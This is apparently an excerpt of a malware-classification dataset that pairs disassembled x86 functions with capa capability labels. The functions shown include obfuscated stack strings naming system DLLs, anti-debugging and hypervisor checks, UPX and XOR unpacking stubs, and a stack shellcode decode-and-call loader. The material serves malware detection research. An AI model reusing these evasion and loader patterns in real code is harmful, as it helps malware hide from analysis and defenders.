joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401bc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov cl, 0x64
mov al, 0x6c
push esi
mov byte [ebp - 0xe], cl
mov byte [ebp - 0xa], cl
mov byte [ebp - 0x23], cl
mov cl, 0x69
push edi
mov byte [ebp - 0xd], al
mov byte [ebp - 0xc], al
mov byte [ebp - 9], al
mov byte [ebp - 8], al
mov byte [ebp - 0x1b], al
lea eax, [ebp - 0x24]
mov dl, 0x6e
mov byte [ebp - 0x1f], cl
mov byte [ebp - 0x1d], cl
mov byte [ebp - 0x1a], cl
push eax
lea ecx, [ebp - 0x10]
mov bl, 0x74
push ecx
mov byte [ebp - 0x10], dl
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xb], 0x2e
mov byte [ebp - 7], 0
mov byte [ebp - 0x24], 0x4c
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x49
mov byte [ebp - 0x20], dl
mov byte [ebp - 0x1e], bl
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x19], 0x7a
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x54
mov byte [ebp - 0x16], 0x68
mov byte [ebp - 0x15], 0x75
mov byte [ebp - 0x14], dl
mov byte [ebp - 0x13], 0x6b
mov byte [ebp - 0x12], 0
call fcn.00486d10
mov ebx, eax
xor esi, esi
lea edi, [esi + ebx]
push edi
lea edx, [ebp - 0x28]
mov dword [ebp - 0x28], 0
call fcn.00405c20
mov edx, dword [ebp - 0x28]
mov cl, byte [edx]
cmp cl, 0xe8
je 0x401c91
cmp cl, 0xe9
je 0x401c91
add esi, eax
cmp esi, 0x1000
jb 0x401c52
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 1]
mov ecx, dword [ebp - 4]
lea eax, [eax + edi + 5]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046e186
mov esp, ebp
pop ebp
ret

Function at 0x403120
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x52a888], 0
jne 0x4031e4
cmp byte [0x52a889], 0
mov al, 1
mov byte [0x52a888], al
jne 0x40315d
push 0x52a4e0
mov byte [0x52a889], al
call fcn.007b0dcf
call fcn.004027e0
call fcn.00403200
mov dword [0x52a884], eax
mov al, 0x73
mov cl, 0x65
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x14], al
mov byte [ebp - 0x13], al
lea eax, [ebp - 0x20]
mov byte [ebp - 0xf], cl
mov byte [ebp - 0xc], cl
mov byte [ebp - 0x15], cl
mov dl, 0x6f
push eax
lea ecx, [ebp - 0x10]
push ecx
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0
mov byte [ebp - 0x20], 0x49
mov byte [ebp - 0x1e], 0x57
mov byte [ebp - 0x1d], dl
mov byte [ebp - 0x1c], 0x77
mov byte [ebp - 0x1b], 0x36
mov byte [ebp - 0x1a], 0x34
mov byte [ebp - 0x19], 0x50
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], dl
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x12], 0
call fcn.0074a99b
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
Function at 0x403200
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, 0x65
mov cl, 0x74
mov byte [ebp - 0xf], al
mov byte [ebp - 0xc], al
mov byte [ebp - 0x23], al
mov byte [ebp - 0x1c], al
mov byte [ebp - 0x17], al
lea eax, [ebp - 0x24]
mov byte [ebp - 0x22], cl
mov byte [ebp - 0x1f], cl
mov byte [ebp - 0x18], cl
mov dl, 0x6e
push eax
lea ecx, [ebp - 0x10]
push ecx
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], dl
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x21], 0x4e
mov byte [ebp - 0x20], 0x61
mov byte [ebp - 0x1e], 0x69
mov byte [ebp - 0x1d], 0x76
mov byte [ebp - 0x1b], 0x53
mov byte [ebp - 0x1a], 0x79
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x16], 0x6d
mov byte [ebp - 0x15], 0x49
mov byte [ebp - 0x14], dl
mov byte [ebp - 0x13], 0x66
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0
push ecx
call fcn.0060f3d4
push eax
call fcn.00875ef6

Function at 0x42b050
Capabilities:
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5c
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, ecx
push eax
push esi
mov dword [edi], 0
call fcn.0042afe0
mov ebx, eax
test ebx, ebx
jne 0x42b083
mov dword [edi], 6
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebx + 0x20]
mov edx, dword [esi + 0x78]
push 0
push ecx
push edx
call fcn.00470fbd
mov eax, dword [esi + 0x78]
mov ecx, dword [ebx + 0x28]
mov edx, dword [0x52a944]
push eax
push 1
push ecx
push edx
call fcn.004714ed
mov ecx, dword [0x52ab50]
push 0
lea eax, [esp + 0x2c]
push eax
mov eax, dword [0x52a944]
mov dword [esp + 0x30], 0
mov edx, dword [ebx + 0x28]
push ecx
push edx
push eax
call fcn.004e2be0
add esp, 0x30
test eax, eax
jne 0x42b1da
mov ecx, dword [esp + 0xc]
cmp ecx, dword [ebx + 0x24]
jne 0x42b1da
mov eax, dword [0x52ab50]
movzx esi, word [eax]
movzx edi, word [eax + 2]
xor eax, eax
push 0x2c
push eax
lea edx, [esp + 0x44]
push edx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call fcn.00473d40
add esp, 0xc
push 0
push 0
lea edx, [esp + 0x18]
push edx
mov eax, 0x18
mov word [esp + 0x2e], ax
push 0
mov ecx, 1
lea eax, [esp + 0x4c]
mov word [esp + 0x30], cx
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], edi
push eax
mov ecx, 0xa
lea esi, [esp + 0x28]
lea edi, [esp + 0x50]
mov dword [esp + 0x28], 0x28
mov dword [esp + 0x38], 0
push 0
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x28], 0
call fcn.007df3c7
mov dword [edi], 7
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x433ca1
Capabilities:
Authenticate hmac
Check for software breakpoints
Check http status code
Encode data using base64
Execute anti-debugging instructions
Parse pe header
Write file on windows

Disassembly:
call fcn.00474d50
mov eax, dword [0x520628]
cmp ecx, esi
cmc
jmp loc.0088415c
Function at 0x450670
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp byte [esi + 0x2d], 0
push edi
mov edi, dword [ebp + 0xc]
mov eax, ebx
je 0x45075b
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4506a7
cmp dword [esi + 0x40], edi
jae 0x4506a7
push eax
call fcn.004509e1
add esp, 4
mov dword [esi + 0x3c], 0
cmp dword [esi + 0x3c], 0
jne 0x4506bf
lea eax, [edi + edi]
push eax
call fcn.004509ec
add esp, 4
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], edi
mov ecx, dword [esi + 0x3c]
push edi
push ebx
push ecx
call fcn.004760f0
add esp, 0xc
xor ebx, ebx
test edi, edi
jbe 0x450758
mov edx, dword [esi + 0x3c]
mov cl, byte [ebx + edx]
mov edi, dword [esi + 0x30]
mov byte [ebp + 8], cl
movsx ecx, cl
xor ecx, edi
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x50f840]
mov dword [ebp - 4], ecx
mov eax, dword [esi + 0x38]
shr edi, 8
xor dword [ebp - 4], edi
mov ecx, dword [ebp - 4]
mov dword [esi + 0x30], ecx
movzx ecx, cl
add ecx, dword [esi + 0x34]
mov edx, eax
imul ecx, ecx, 0x8088405
inc ecx
mov dword [esi + 0x34], ecx
shr ecx, 0x18
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x50f840]
and edx, 0xfffd
mov dword [esi + 0x38], eax
mov ecx, dword [esi + 0x3c]
or edx, 2
mov eax, edx
xor eax, 1
imul eax, edx
shr eax, 8
xor al, byte [ebp + 8]
inc ebx
mov byte [ebx + ecx - 1], al
cmp ebx, dword [ebp + 0xc]
jb 0x4506d7
mov edi, dword [ebp + 0xc]
mov eax, dword [esi + 0x3c]
mov edx, dword [esi + 0x20]
test edx, edx
je 0x45079a
mov ecx, dword [esi + 0x24]
lea ebx, [ecx + edi]
cmp ebx, dword [esi + 0x28]
jb 0x45077f
pop edi
mov dword [esi + 0x14], 0x30000
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
push edi
push eax
add ecx, edx
push ecx
call fcn.004760f0
add esp, 0xc
add dword [esi + 0x24], edi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x4507bc
push 0
lea edx, [ebp + 0xc]
push edx
push edi
push eax
push ecx
push edi
call 0x774b8c
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
mov dword [esi + 0x14], 0x1000000
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x537c80
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
sub esp, 0x4c
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x537d8c
test eax, eax
je 0x537d8c
push esi
push edi
mov ecx, 0x10
mov esi, 0x552ff0
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 0x14]
mov esi, dword [esi]
add esi, eax
mov dword [ebp - 8], esi
xor esi, esi
mov dword [ebp - 4], 0
mov ecx, eax
test edx, edx
jbe 0x537d73
lea edi, [eax + 4]
jmp 0x537cd7
mov ebx, dword [ebp + 8]
movzx eax, byte [esi + ebx]
inc esi
shl eax, 0x10
cmp esi, edx
jne 0x537cec
mov dword [ebp - 4], 2
jmp 0x537d0d
movzx ebx, byte [esi + ebx]
shl ebx, 8
inc esi
or eax, ebx
cmp esi, edx
jne 0x537d03
mov dword [ebp - 4], 1
jmp 0x537d0d
mov edx, dword [ebp + 8]
movzx edx, byte [esi + edx]
or eax, edx
inc esi
mov edx, eax
and edx, 0x3f
cmp edi, dword [ebp - 8]
ja 0x537d83
mov ebx, eax
shr ebx, 0x12
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
mov byte [ecx], bl
mov ebx, eax
shr ebx, 0xc
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
inc ecx
inc edi
mov byte [ecx], bl
mov ebx, dword [ebp - 4]
inc ecx
inc edi
cmp ebx, 1
jbe 0x537d46
mov byte [ecx], 0x3d
jmp 0x537d52
shr eax, 6
and eax, 0x3f
mov al, byte [ebp + eax - 0x4c]
mov byte [ecx], al
inc ecx
inc edi
test ebx, ebx
jbe 0x537d5d
mov byte [ecx], 0x3d
jmp 0x537d63
mov dl, byte [ebp + edx - 0x4c]
mov byte [ecx], dl
mov edx, dword [ebp + 0xc]
inc ecx
inc edi
cmp esi, edx
jb 0x537cd4
mov eax, dword [ebp + 0x10]
sub ecx, eax
mov eax, dword [ebp + 0x14]
pop edi
pop esi
mov dword [eax], ecx
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x63476e
Capabilities:
Parse pe header

Disassembly:
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
jmp 0x744105
push ebp
shld bp, cx, 0xb5
sub ebp, edx
mov ebp, esp
cbw
lea esp, [esp - 0x16c]
shl al, cl
test bl, 0xcf
nop
mov eax, dword [0x520628]
clc
cmp bh, al
xor eax, ebp
jmp 0x744b6b
push esi
jmp 0x75d68e
push ebx
jmp 0x72ffa1
mov byte [ebp - 0x16], 0x64
jmp 0x7a41f2
mov dword [ebp - 4], eax
jmp 0x73f9eb
push edi
jmp 0x7680d5
call fcn.00637e07
lea eax, [ebp - 0x18]
push eax
jmp 0x5caadf
mov byte [ebp - 0x15], 0x6c
jmp 0x868351
mov byte [ebp - 0x14], 0x6c
jmp loc.0040f025
Function at 0x6f64f9
Capabilities:
Execute anti-debugging instructions
Reference processor manufacturer constants

Disassembly:
mov byte [ebp - 0x2b], 0x6c
jmp 0x569723
mov byte [ebp - 0x2a], 0x33
jmp 0x8505a2
call fcn.0046e186
mov esp, ebp
cmovns ebp, ecx
pop ebp
ret
mov byte [ebp - 0x20], 0x45
jmp 0x8cfda3
mov byte [ebp - 0x1e], 0x75
mov byte [ebp - 0x1d], 0x6d
jmp loc.0044a639
push esi
jmp 0x7a66d9
mov al, 1
pop edi
add ebx, 0x2a3436bf
stc
pop esi
bts ebx, esi
rcr ch, cl
pop ebx
sar ch, cl
xchg cl, ch
rcl cx, 0x46
mov ecx, dword [ebp - 4]
jmp 0x7bf354
mov dword [ebp - 0x2c], 0
clc
cmp si, bp
cmc
mov dword [esi], eax
cmp esi, 0xac1a03
mov dword [esi + 4], ebx
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
jmp 0x776519
push ebp
movzx eax, ax
add edx, 0x3fb82db9
mov ebp, esp
sub esp, 0x94
bts dx, ax
sal dx, cl
bt ecx, esi
mov eax, dword [0x520628]
or dh, 0xa8
xor eax, ebp
ror cl, 0xdf
rcl ch, 3
btr ecx, edi
mov dword [ebp - 4], eax
ror dl, cl
test eax, 0x637825
sal dx, cl
push ebx
add bl, 0x7d
mov eax, 1
cpuid
push esi
btc si, 0xca
lea esi, [ebp - 0x30]
mov dword [esi], eax
test ecx, edx
cmp edx, 0x7bf26828
rcr eax, 0xb7
mov dword [esi + 4], ebx
adc ax, bx
bsf eax, esi
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
ror al, cl
adc ax, si
movzx eax, dx
mov eax, dword [ebp - 0x28]
sar eax, 0x1f
test ebp, 0x186900f0
push edi
clc
test al, 1
je 0x8885c3
sub eax, eax
sbb ch, dh
dec edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
shr bl, cl
cmovl cx, bx
mov dword [ebp - 0x24], eax
shld edx, eax, 0xca
sub bx, di
mov eax, 0x40000000
bsr bx, cx
xchg dh, bl
shld dx, bx, 0x75
cpuid
cmp dh, 0xd4
test dx, 0x1bc0
mov dword [esi], eax
stc
test cl, 0x26
mov dword [esi + 4], ebx
stc
test edx, edi
mov dword [esi + 8], ecx
cmp bx, 0x5e9f
stc
test si, 0x6d6a
mov dword [esi + 0xc], edx
stc
cmp dword [ebp - 0x2c], 0x7263694d
jne 0x66d655
cmp dword [ebp - 0x28], 0x666f736f
jne 0x66d655
cmp dword [ebp - 0x24], 0x76482074
jne 0x66d655
mov eax, 0x40000003
cpuid
jmp 0x6b408a
mov byte [ebp - 0x2d], 0x6e
jmp 0x77fafb
mov byte [ebp - 0x2e], 0x72
jmp 0x720dd4
mov byte [ebp - 0x27], 0x64
jmp 0x7c0c83
test byte [ebp - 0x2c], 1
jmp 0x8682ff
mov byte [ebp - 0x2c], bl
jmp 0x53e4f7
mov byte [ebp - 0x6d], 0
jmp 0x5a2c76
xor ecx, ebp
jmp 0x7d9612
mov byte [ebp - 0x26], 0x6c
jmp 0x8d5e80
call fcn.0046e186
mov esp, ebp
pop ebp
jmp 0x823a31
mov byte [ebp - 0x28], 0x2e
jmp 0x7467ad
ret
mov byte [ebp - 0x2f], bl
jmp 0x72196a
mov byte [ebp - 0x29], 0x32
jmp 0x7df5d2
je 0x66d655
xor al, al
stc
sub bh, 0x1d
clc
pop edi
and ecx, 0x3dc25af7
pop esi
pop ebx
bsr ecx, edx
shr cx, 0x54
inc cl
mov ecx, dword [ebp - 4]
cmc
test si, di
xor ecx, ebp
jmp 0x57f40a
lea ecx, [ebp - 0x30]
bswap ebx
mov ebx, 0x65
push ecx
mov byte [ebp - 0x30], 0x6b
jmp 0x84e5f4
mov byte [ebp - 0x1f], 0x6e
jmp 0x5cca0e
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], 0
call fcn.007a380a
lea edx, [ebp - 0x20]
cmovb esi, ebp
mov esi, eax
push edx
jmp 0x5f6b39
Function at 0x7458a4
Capabilities:
Execute anti-debugging instructions
Parse pe header

Disassembly:
call fcn.00441730
sub edi, edi
jmp 0x7f2859
lea ecx, [esp + 0x1034]
mov byte [esp + 0x1b30], 0x3c
jmp 0x7127f4
mov byte [esp + 0x1b31], 0x4c
jmp 0x7f3112
push 0x1f9fb2a4
call fcn.007c0cfc
rcr dword [ebx], 1
or al, 8
call fcn.00404d40
lea esi, [esp + 0x554]
jmp 0x88cc46
lea esi, [edi + 0xf]
lea eax, [esp + 0x1b2c]
movzx cx, cl
bswap cx
movsx ecx, si
push eax
not cl
jmp 0x696bf9
mov byte [esp + 0x1b32], 0x41
mov byte [esp + 0x1b33], 0x53
mov byte [esp + 0x1b34], 0x54
jmp loc.0042dd3b
mov byte [esp + 0x1bf0], 6
jmp 0x612bf5

Function at 0x7636ea
Capabilities:
Execute anti-debugging instructions
Resolve function by parsing pe exports

Disassembly:
jbe 0x7d6089
mov edx, dword [esp + 0x14]
xchg cl, ah
push edx
cbw
mov edx, 0x32024c5c
lea eax, [esp + 0xc10]
mov ecx, 0x3b144fab
setp cl
push eax
xchg dl, ah
lea ecx, [esp + 0xd1c]
lahf
push ecx
cbw
movsx edx, si
lea edx, [esp + 0x950]
lahf
not al
push edx
push 0xd
movsx eax, ax
movzx eax, si
lea eax, [esp + 0x2e0]
push 0x4d
jmp 0x86ea46
call edi
cmp byte [esp + 0x13], bl
jmp 0x7e64ee
push 0x72201111
call fcn.00697349
jne 0x7df428
cmp eax, ebx
jmp 0x7f723b
mov byte [esp + 0x2f], 1
jmp 0x819b41
lea eax, [esp + 0xc10]
push eax
mov dx, 0x3f4f
cmovae ax, bp
bswap ecx
lea ecx, [esp + 0xd1c]
setne dh
xchg dx, ax
push ecx
movsx eax, sp
lea edx, [esp + 0x950]
cmovle eax, ebp
mov al, 0x59
push edx
push 0xd
cwde
mov ax, dx
lea eax, [esp + 0x2e0]
push 0x4d
jmp 0x8a29d6
jne 0x7d6089
cmp eax, ebx
jmp 0x541930
push 0xd
mov ax, cx
movsx ax, cl
cbw
lea eax, [esp + 0x2e0]
push 0x4d
push eax
jmp 0x7760ab
mov byte [esp + 0x2f], 1
jmp 0x8642cd
call fcn.00890fe1
add esp, 0x1c
lea ecx, [esp + 0xd14]
push ecx
push 0x200
rdtsc
lahf
lea edx, [esp + 0x1024]
movzx ecx, bx
push edx
lahf
push 0x50f493
bswap ax
mov eax, ebp
movsx ecx, cx
lea eax, [esp + 0x50]
mov ch, 0x5c
movzx ecx, bp
mov cx, si
push eax
lea ecx, [esp + 0x2e8]
jmp 0x88b4e3
lea ecx, [esp + 0xd14]
cdq
movsx ax, ch
push ecx
push 0x200
lea edx, [esp + 0x1024]
push edx
push 0x50f493
cwde
mov ax, di
lea eax, [esp + 0x408]
bswap cx
xchg ecx, ecx
mov ch, bl
push eax
xchg ch, ch
setae cl
lea ecx, [esp + 0x2e8]
jmp 0x7e5320
push ecx
call edi
cmp byte [esp + 0x13], bl
jmp 0x79c6bf
jne 0x8642d5
cmp eax, ebx
jmp 0x85752d
jbe 0x7df428
mov edx, dword [esp + 0x14]
push edx
cmovge ax, cx
cdq
lea eax, [esp + 0xc10]
movsx edx, cx
setae ch
push eax
cwde
lea ecx, [esp + 0xd1c]
lahf
push ecx
rdtsc
cwd
cbw
lea edx, [esp + 0x950]
movzx ax, ah
movsx eax, sp
cbw
push edx
bswap eax
jmp 0x7c190c
call fcn.00890fe1
add esp, 0x1c
jmp 0x7df428
mov byte [esp + 0x2f], 1
jmp 0x7d6081
jbe 0x8642d5
mov edx, dword [esp + 0x14]
push edx
movzx dx, bh
movzx ecx, di
jmp 0x78f232
call fcn.00890fe1
add esp, 0x1c
lea ecx, [esp + 0xd14]
not dh
push ecx
mov dh, 7
cmovp eax, edi
push 0x200
movzx ax, dh
not ax
rdtsc
lea edx, [esp + 0x1024]
xchg ah, ch
cwde
push edx
bswap ecx
movzx eax, si
cwde
push 0x50f493
lea eax, [esp + 0x2fc]
cmovae ecx, esp
movzx ecx, di
push eax
jmp 0x86fe27
push eax
jmp 0x82231f
lea ecx, [esp + 0x388]
jmp 0x44a573
push ecx
jmp 0x603d2f
push eax
jmp 0x7c4ee0
Function at 0x776f31
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0x72201111
call fcn.00697349
mov byte [esp + 0x1b8b], 0x52
jmp loc.0041595b
Function at 0x79c0b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push edi
mov edi, 0x306c7f32
movsx edi, di
mov edi, ecx
mov cl, 0x69
jmp loc.00412970
mov dl, 0x74
setne bl
mov bl, 0x6f
jmp 0x7df5ae
push ebp
rol bp, 0xdc
bt bp, 0x37
shr ah, cl
mov ebp, esp
inc dl
lea esp, [esp - 0x160]
rol al, 0xd5
mov eax, dword [0x520628]
shr dl, 0x3b
sal dl, cl
xor eax, ebp
mov dword [ebp - 4], eax
xchg al, dl
push ebx
mov al, 0x6c
jmp 0x68003a
push esi
jmp 0x593659
Function at 0x7b4db3
Capabilities:
Check http status code
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov byte [ebp - 0x24], 0x6b
jmp loc.00425cb7
mov eax, dword [ebp + 8]
shl ebx, 0xe0
mov dword [ebp - 0x888], eax
bt ax, 0x61
test esp, ebp
bsf eax, edx
lea eax, [ebp - 0x38]
xor bl, 0xea
xor ebx, edx
mov dword [ebp - 0x898], ecx
not ch
add cl, bl
push eax
test bp, cx
lea ecx, [ebp - 0x24]
sub esi, esi
not bh
cmovbe ebx, ecx
movsx ebx, si
mov ebx, 0x69
jmp 0x775519
push ecx
mov dword [ebp - 0x890], edx
mov dword [ebp - 0x874], esi
jmp 0x5fcb63
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e4288
dec al
mov eax, dword fs:[0]
cmc
test ax, 0x75f1
push eax
lea esp, [esp - 0x8e0]
shrd ax, bp, 0x19
cbw
mov eax, dword [0x520628]
cmp esi, esp
xor eax, ebp
clc
cmp si, 0x2935
test edx, 0x1e62096b
mov dword [ebp - 0x14], eax
clc
test ecx, 0x58053a19
stc
push ebx
add ebx, 0x505f4d4c
rcl bh, 0xd4
push esi
btr ebx, eax
push edi
rol bh, 0xa
test si, di
push eax
btc ebx, ebx
test bh, 4
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sar bh, cl
jmp 0x6c3391
Function at 0x80b319
Capabilities:
Parse pe header

Disassembly:
push 0x29471111
call fcn.00697349
Function at 0x4bb220
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x86000]
mov dword [edi + 0x9b4dc], 0x68d42217
push edi
jmp 0x4bb24a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4bb251
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bb240
mov eax, 1
add ebx, ebx
jne 0x4bb263
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4bb274
jne 0x4bb293
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bb293
dec eax
add ebx, ebx
jne 0x4bb280
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4bb258
add ebx, ebx
jne 0x4bb28f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4bb2e5
xor ecx, ecx
sub eax, 3
jb 0x4bb2ab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4bb31a
sar eax, 1
mov ebp, eax
jmp 0x4bb2b6
add ebx, ebx
jne 0x4bb2b6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bb284
inc ecx
add ebx, ebx
jne 0x4bb2c4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bb284
add ebx, ebx
jne 0x4bb2d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4bb2c6
jne 0x4bb2e2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4bb2c6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4bb304
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4bb2f6
jmp 0x4bb246
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4bb304
add edi, ecx
jmp 0x4bb246
pop esi
mov edi, esi
mov ecx, 0x3a9c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4bb322
cmp byte [edi], 0x11
jne 0x4bb322
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4bb327
lea edi, [esi + 0xb8000]
mov eax, dword [edi]
or eax, eax
je 0x4bb396
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xce58c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xce62c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4bb354
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xce630]
or eax, eax
je 0x4bb390
mov dword [ebx], eax
add ebx, 4
jmp 0x4bb371
call dword [esi + 0xce640]
mov ebp, dword [esi + 0xce634]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4bb3ca
sub esp, 0xffffff80
jmp 0x434c56
Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0xbd91d4b
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x57c40634
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
call sub.user32.dll_GetShellWindow
cmp eax, 0xffffff0b
jne 0x401016
call sub.kernel32.dll_GetSystemTimeAsFileTime
ret
call sub.kernel32.dll_GetCommandLineW
cmp eax, 0xffffff17
jne 0x40102c
call sub.kernel32.dll_GetSystemTimeAsFileTime
ret
call sub.user32.dll_GetShellWindow
cmp eax, 0xfffffee5
jne 0x401042
call sub.kernel32.dll_GetSystemTimeAsFileTime
ret
jmp 0x515d58
jmp 0x515d5d
sub esp, 0x31c
mov esi, 0x510958
mov edi, esp
jmp 0x515da1
dec ecx
cmp ecx, 0
nop
jne 0x515d83
mov edi, esp
call edi
jmp 0x515d94
mov al, byte [esi]
xor al, dl
nop
mov byte [edi], al
nop
inc esi
nop
inc edi
nop
jmp 0x515d6f
add esp, 0x31c
ret
